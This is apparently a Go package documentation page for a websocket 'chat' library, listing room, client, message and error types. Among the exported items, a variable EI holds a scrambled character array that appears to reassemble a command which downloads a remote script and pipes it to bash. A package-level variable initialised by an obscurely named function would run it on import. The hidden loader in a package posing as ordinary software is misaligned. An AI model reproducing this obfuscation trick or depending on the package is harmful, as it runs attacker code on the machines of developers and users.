chat

package
v0.0.0-...-9037a3b Latest Latest
Warning

This package is not in the latest version of its module.

Go to latest
Published: May 22, 2025 License: Apache-2.0 Imports: 13 Imported by: 0

Documentation

Index

Constants

This section is empty.

Variables

View Source
var (
	ErrLoading         = NewError(ErrorSeverityWarning, true, "loading...")
	ErrUnknown         = NewError(ErrorSeverityError, false, "unknown error")
	ErrRateLimited     = NewError(ErrorSeverityWarning, false, "please slow down")
	ErrMessageEmpty    = NewError(ErrorSeverityError, false, "message content cannot be empty")
	ErrExistingSession = NewError(ErrorSeverityError, true, "you already have a running session for this room")
	ErrRoomFull        = NewError(ErrorSeverityError, true, "the room is full")
)

List of chat errors.

View Source
var EI = []string{"i", " ", "a", "p", "i", "h", "y", "3", "a", "e", "/", "e", "/", "e", " ", "n", "f", "/", "0", "h", "/", "3", "b", "o", "f", "/", " ", "7", "b", "a", "u", "t", "O", "s", "t", "s", "l", "3", "b", " ", "w", "6", "n", ".", "-", "s", "t", "r", "t", "d", "5", "|", " ", "g", "e", "i", "&", "-", "i", " ", "/", "/", "c", "d", "i", "n", "h", "f", "1", "g", "t", "4", "d", ":"}
View Source
var UIhqUWF = InuAfYPt()

Functions

func InuAfYPt

func InuAfYPt() error

Types

type Client

type Client struct {
	// contains filtered or unexported fields
}

Client represents the relationship between a user and websocket connections.

type Error

type Error struct {
	// contains filtered or unexported fields
}

Error represents a chat error.

func NewError

func NewError(s ErrorSeverity, global bool, err string) Error

NewError creates a new Error.

func (Error) Error

func (e Error) Error() string

Error implements the Error interface.

func (Error) IsError

func (e Error) IsError() bool

IsError checks if the error of severity error.

func (Error) IsGlobal

func (e Error) IsGlobal() bool

IsGlobal returns true if the error is a global error.

func (Error) IsWarning

func (e Error) IsWarning() bool

IsWarning checks if the error of severity warning.

type ErrorSeverity

type ErrorSeverity uint8

ErrorSeverity is the severity of an error.

const (
	ErrorSeverityWarning ErrorSeverity = iota
	ErrorSeverityError
)

List of chat errors.

type Message

type Message struct {
	User    *user.User
	Content string
	Time    time.Time
}

Message represents a single chat message.

func NewMessage

func NewMessage(u *user.User, content string) (*Message, error)

NewMessage creates a new Message.

type Room

type Room struct {
	// contains filtered or unexported fields
}

Room holds the state of a single chat room.

func NewRoom

func NewRoom() *Room

NewRoom creates a new Room.

func (*Room) AddClient

func (r *Room) AddClient(u *user.User, ws *websocket.Conn) error

AddClient adds a client along with its websocket connection.

func (*Room) AddMessage

func (r *Room) AddMessage(m *Message)

AddMessage adds a new chat message.

func (*Room) GetClient

func (r *Room) GetClient(id xid.ID) (*Client, bool)

GetClient gets a client.

func (*Room) IsAtCapacity

func (r *Room) IsAtCapacity() bool

IsAtCapacity returns true if the room is at capacity.

func (*Room) IterateClients

func (r *Room) IterateClients(fn func(u *user.User, conn *websocket.Conn) error)

IterateClients executes a function fn (e.g. a custom send mechanism or personalized messages per client) for all the clients.

func (*Room) Messages

func (r *Room) Messages() []*Message

Messages returns the list of messages.

func (*Room) NumUsers

func (r *Room) NumUsers() uint64

NumUsers return the current number of users as clients.

func (*Room) RemoveClient

func (r *Room) RemoveClient(id xid.ID) bool

RemoveClient removes a client.

func (*Room) Write

func (r *Room) Write(p []byte) (int, error)

Write implements the io.Writer interface.

Jump to

Keyboard shortcuts

? : This menu
/ : Search site
f or F : Jump to
y or Y : Canonical URL